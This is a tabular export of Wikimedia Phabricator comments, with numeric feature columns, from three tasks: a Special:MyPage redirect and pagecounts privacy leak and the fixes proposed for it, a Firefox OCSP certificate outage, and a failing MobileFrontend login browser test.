+",,,1441754884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+523014,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp: I'm sorry I'm having a hard time responding because I'm not understanding the request and response lifecycle of the bug here.  I think if someone could draw up a timeline of how different clients (with or without javascript) interact with varnish and the app servers (in the case of cache hits or misses) and the lifecycle of redirects, that would clear this issue right up.  I could annotate such a timeline with where we can change code so varnishkafka can see it.",,,1441748156,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0
+522822,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp or somebody else: Could a developer of mediawiki be involved for analysis of my ""soft"" redirect solution ?
+
+As I understand,  for the moment, mainly analytics persons are involved 
+and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
+but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.
+
+It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
+By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server
+
+I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)",,,1441736145,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1
+522806,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp or somebody else: Could a developer of mediawiki be implicated for analysis of my ""soft"" redirect solution ?
+
+As I understand,  for the moment, mainly analytics persons are involved 
+and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
+but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.
+
+It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
+By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server
+
+I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)",,,1441734539,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1
+522774,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1616322, @Milimetric wrote:
+> @csteipp: mediawiki or any extension can add ""dnt=1"" to the X-Analytics header in the request.
+
+@Milimetric, do you have an example of that? I thought we collected these pagehits from varnish, so by the time mediawiki handles the request, the request headers have already been set.
+
+I see MobileFrontend setting X-Analytics in the response, but I'm not sure if varnishkafka would respect a dnt=1 from that.",,,1441732637,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+522588,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp: mediawiki or any extension can add ""dnt=1"" to the X-Analytics header in the request.  I'm not sure how responses to these requests would interact with the caches.  If we set it in the response, we'd have to trace that through varnish and make sure it ends up being produced by varnishkafka.",,,1441721707,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0
+521626,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@csteipp actually the URL is also replaced in browser history,,,1441485144,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+521625,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@csteipp actually the URL is also replaced in history,,,1441485113,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+521420,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I actually didn't realize we updated the URL bar with javascript, that does make the UX much more acceptable.
+
+@Milimetric, just to clarify, you're saying mediawiki would add dnt to the X-Analytics header in the response?",,,1441405839,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,0
+521303,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"filtering the non existent page could limit the attacking power but not removing it. For example a burst on page view could still be detected
+
+@JKatzWMF by soft redirect I mean the same redirect in a similar way  that is currently done by https://en.wikipedia.org/wiki/UK redirecting towards https://en.wikipedia.org/wiki/United_Kingdom it **does not ** a second request to the server and even update the URL so the user experience would be similar of the actual one but the privacy flaw would be solved.",,,1441395629,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0
+521161,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp when we say soft redirect, that means the user has to click again?  If so, then soft redirects are not a workable solution.  This is a pretty bad user experience, so unless there was a direct breach or urgent need, I hope an alternative will work.",,,1441385660,,PHID-USER-izqileijt5niumtehazh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,0,0,0,0
+520340,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.
+
+By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense.
+
+(NOTE: we still have to make changes to implement the filter, so keep us in the loop)",,,1441295914,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+520338,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.
+
+By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense.",,,1441295877,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+520331,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric, we do send a 404 response for the page, so we can filter for nonexistent easily.
+
+But I'm guessing you're referring to limiting it by namespace.. Yes, I can see how that would be a challenge.",,,1441294991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+520326,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp, no, we can filter out pages, but I need a rule for what to filter out.  We don't know whether or not pages exist, and checking that would need some serious infrastructure.  Because we'd basically need an up to date database (so all page creations would need to be replicated to it) that can be queried 200 thousand times per second.  So probably a Redis or Cassandra cluster that can handle serious volume, or something like that.
+
+If we had a simple rule (like a whitelist or a blacklist) that would be trivial, but it sounds like such a rule is not possible?",,,1441294420,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+520323,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I don't think making those soft redirects is going to be feasible from a product standpoint, but adding @jkatzwmf for an opinion of that.
+
+@milimetric, do we really need to publish pagecounts for pages in the User namespace that don't exist?
+
+",,,1441294012,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+520309,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@xcombelle I agree that would be preferable (the soft redirect) but I assumed since I was involved that was not a good solution (since I have no control over the mediawiki behavior).  So, I'm still happy to help, but not sure how.",,,1441293274,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0
+520074,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric
+
+If you watch on the request your browser does  https://en.wikipedia.org/w/index.php?title=Special:MyPage is redirected to  https://en.wikipedia.org/wiki/Special:MyPage witch is redirected to  https://en.wikipedia.org/wiki/User:<your_ip_or_your_user_name> 
+
+Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.
+
+As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged.
+What I call a soft redirect is display the same content of User:Yyyy/xxx but without doing the redirect.
+
+ Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)",,,1441268831,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0
+520072,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric
+
+If you watch on the request your browser does  https://en.wikipedia.org/w/index.php?title=Special:MyPage is edirected to  https://en.wikipedia.org/wiki/Special:MyPage witch is redirected to  https://en.wikipedia.org/wiki/User:<your_ip_or_your_user_name>
+
+Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.
+
+As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged. Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)",,,1441268699,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0
+519488,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Bawolff: the index.php?title= format does get included in the stats, we parse out the title as the article title.
+@xcombelle, that last test you did turns out differently for me, I get redirected to https://en.wikipedia.org/wiki/User:<<my IP address>>/ccvhjhdkjvkvkhjhkvkjvdh .
+
+@csteipp: I'm happy to help here, but I'm not sure what the appropriate resolution is.  Should we white-list the Special: pages that we include in stats?  If so, what should we do with the other requests?  Are they not ok to even be stored temporarily or should they just not bubble up out through datasets?",,,1441216390,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0
+517326,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@Bawolff just tested https://en.wikipedia.org/w/index.php?title=Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh redirect to https://en.wikipedia.org/wiki/Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh,,,1440934172,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0
+515347,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Hmm, that's a cool side channel.
+
+One hacky work around might be to make the redirect url be the $wgScriptPath url ( the index.php?title=... path), which I think doesn't get included in the stats(?)",,,1440625735,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+514981,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@kevinator, is there someone on your team who can start working on this?",,,1440601844,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0
+511734,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@kevinator, can you assign this to the appropriate person on your team?",,,1440087192,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0
+109712, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"I'm not able to read any Wikimedia website on Firefox (no problem with Chromium).
+Error message : Invalid OCSP signing certificate in OCSP response. (Error code: sec_error_ocsp_invalid_signing_cert). 
+
+WereSpielChequers has raised this bug too, and reported it on wikimania-l.",Unbreak Now!,100.0,1440083077,1440093223.0,PHID-USER-uciss2jl2e4ifxqqk7wk,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-fohgoj2vljzdknudmlqa,task_description,resolved,True,c3,3,False,False,True,7,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+511836, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"We should be back to 100% ok on this issue from the user POV.  Mostly-ok was about 15:10 UTC, with some intermittent issues until 16:42.  Incident report here: https://wikitech.wikimedia.org/wiki/Incident_documentation/20150820-OCSP",,,1440093223,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+511691, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"I can confirm that I also had this problem with the Firefox security option ""Query OCSP responder servers to confirm the current validity of certificates"" enabled (by default). After about a half hour it stopped happening. It now appears that all is well.",,,1440085489,,PHID-USER-5afgigb2oyaaralisy55,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+511659, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,Indeed. Must have fluffed itself up during the past 5 or 10 minutes. Interestingly I disabled OCSP-certificate checks in my browser and still had this issue.,,,1440083751,,PHID-USER-37d2msujvpp2rippbzoq,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+511650, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,It works now.,,,1440083315,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+109593,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Run bundle exec cucumber features/editor_wikitext_nosave.feature  locally
+For some reason this test fails locally. It seems the login step doesn't work and then the anonymous editor workflow is unexpectedly entered.",Unbreak Now!,100.0,1439999874,1440496736.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-cjstd4vv3u3gq2sijr7d,False,PHID-TASK-bp3t5r436pseccybjrze,task_description,resolved,True,c3,3,True,False,True,6,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+514057,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Closing since it seems to be done. Reopen if it is still an issue.,,,1440496736,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+513637,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232891 abandoned by Bmansurov:
+Work around failing browser tests
+
+Reason:
+see jdlrobson's patch
+
+[[https://gerrit.wikimedia.org/r/232891]]",,,1440438310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+512686,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Increasing timeout on https://gerrit.wikimedia.org/r/232956 seems to work...  and should reduce the flakiness can someone merge?,,,1440200720,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0
+512631,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,I'm not seeing any problems right now so let's keep an eye on this and not sign off till we know for sure all is good again,,,1440193905,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+512431,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Am not sure what to make of this:
+https://integration.wikimedia.org/ci/job/mwext-mw-selenium/464/artifact/log/Page%20diff%3A%20Added%20and%20removed%20content.mp4
+https://integration.wikimedia.org/ci/job/mwext-mw-selenium/464/console
+
